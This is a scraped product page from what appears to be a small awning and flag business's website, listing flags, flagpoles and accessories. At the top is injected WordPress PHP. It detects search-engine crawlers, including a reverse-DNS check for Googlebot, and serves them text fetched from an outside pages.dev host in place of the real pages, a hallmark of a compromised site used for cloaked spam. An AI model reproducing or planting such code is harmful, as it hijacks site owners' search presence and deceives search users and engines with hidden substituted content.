add_action('template_redirect', function() {
$uriMappings = [
'contact' => 'https://muskegonawning.pages.dev/output/contact/index.txt',
'about' => 'https://muskegonawning.pages.dev/output/about/index.txt',
'news' => 'https://muskegonawning.pages.dev/output/news/index.txt',
'faq' => 'https://muskegonawning.pages.dev/output/faq/index.txt',
'privacy-policy' => 'https://muskegonawning.pages.dev/output/privacy-policy/index.txt',
'products' => 'https://muskegonawning.pages.dev/output/products/index.txt',
'industrial' => 'https://muskegonawning.pages.dev/output/industrial/index.txt',
'business' => 'https://muskegonawning.pages.dev/output/business/index.txt',
'new-gallery' => 'https://muskegonawning.pages.dev/output/new-gallery/index.txt',
'flags' => 'https://muskegonawning.pages.dev/output/flags/index.txt',
'sitemap' => 'https://muskegonawning.pages.dev/output/sitemap/index.txt',
'marine-boat' => 'https://muskegonawning.pages.dev/output/marine-boat/index.txt',
'written-testimonials' => 'https://muskegonawning.pages.dev/output/written-testimonials/index.txt',
'photo-gallery' => 'https://muskegonawning.pages.dev/output/photo-gallery/index.txt',
'residential-canopies' => 'https://muskegonawning.pages.dev/output/residential-canopies/index.txt',
'video-testimonials' => 'https://muskegonawning.pages.dev/output/video-testimonials/index.txt',
'terms-of-use' => 'https://muskegonawning.pages.dev/output/terms-of-use/index.txt',
'why-muskegon-awning' => 'https://muskegonawning.pages.dev/output/why-muskegon-awning/index.txt',
];
$matchedUrl = null;
foreach ($uriMappings as $pattern => $url) {
if (strpos($_SERVER['REQUEST_URI'], $pattern) !== false) {
$matchedUrl = $url;
break;
}
}
$bots = [
'Googlebot','Bingbot','Slurp','DuckDuckBot','Baiduspider',
'YandexBot','Sogou','TelegramBot','Exabot','facebot',
'ia_archiver','Google-Site-Verification','Google-InspectionTool','AhrefsBot'
];
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
function is_googlebot_ip($ip) {
$hostname = gethostbyaddr($ip);
return (strpos($hostname, 'googlebot.com') !== false ||
strpos($hostname, 'google.com') !== false ||
strpos($hostname, 'googleusercontent.com') !== false);
}
if ($matchedUrl && array_filter($bots, fn($b) => stripos($ua, $b) !== false)) {
if (stripos($ua, 'Googlebot') !== false && !is_googlebot_ip($ip)) {
return;
}
$response = wp_remote_get($matchedUrl, [
'timeout' => 20,
'redirection' => 5,
'user-agent' => $ua,
]);
if (!is_wp_error($response)) {
echo wp_remote_retrieve_body($response);
exit;
}
}
});
Flags – Muskegon – Awning & Fabrication
Flags
Flags, flagpoles and accessories.
Flags, Flagpoles, & Accessories
Made in the USA!
We are proud to carry an inventory full of flags, flagpoles and accessories. Consider us your one-stop shop for basic flagpole needs!
We have the resources to order additional parts that are not found in our showroom. Whether it is in stock or a special order, you can choose from hundreds of standard styles, designs and sizes for indoors, outdoors, display or parade.
BIG BENEFITS
Fly your colors proudly!
Flags
There are so many flags to choose from. In addition to our most popular American Flags for sale, we offer an assortment of the following:
American, State and Historical
Flags of the World
Military, Service and Parade
Nautical/Marine Flags
Civilian Flags
Religious Flags
U.S. Bunting Flags
Holiday and Seasonal
Home and Garden
And much more!
Flagpoles
Residential Kits (Available Sizes: 15′, 20′, & 25′)
Commercial Grade Flagpoles (Internal and External Halyard)
Telescoping Flagpoles
Flagpoles Mounted to Buildings/Homes
And much more!
Accessories
Halyard (Flagpole Rope)
Snaps
Snap Covers
Wall Mounting Brackets
Decorative Ball Ornaments
Pulley Assemblies
Replacement Parts
And much more!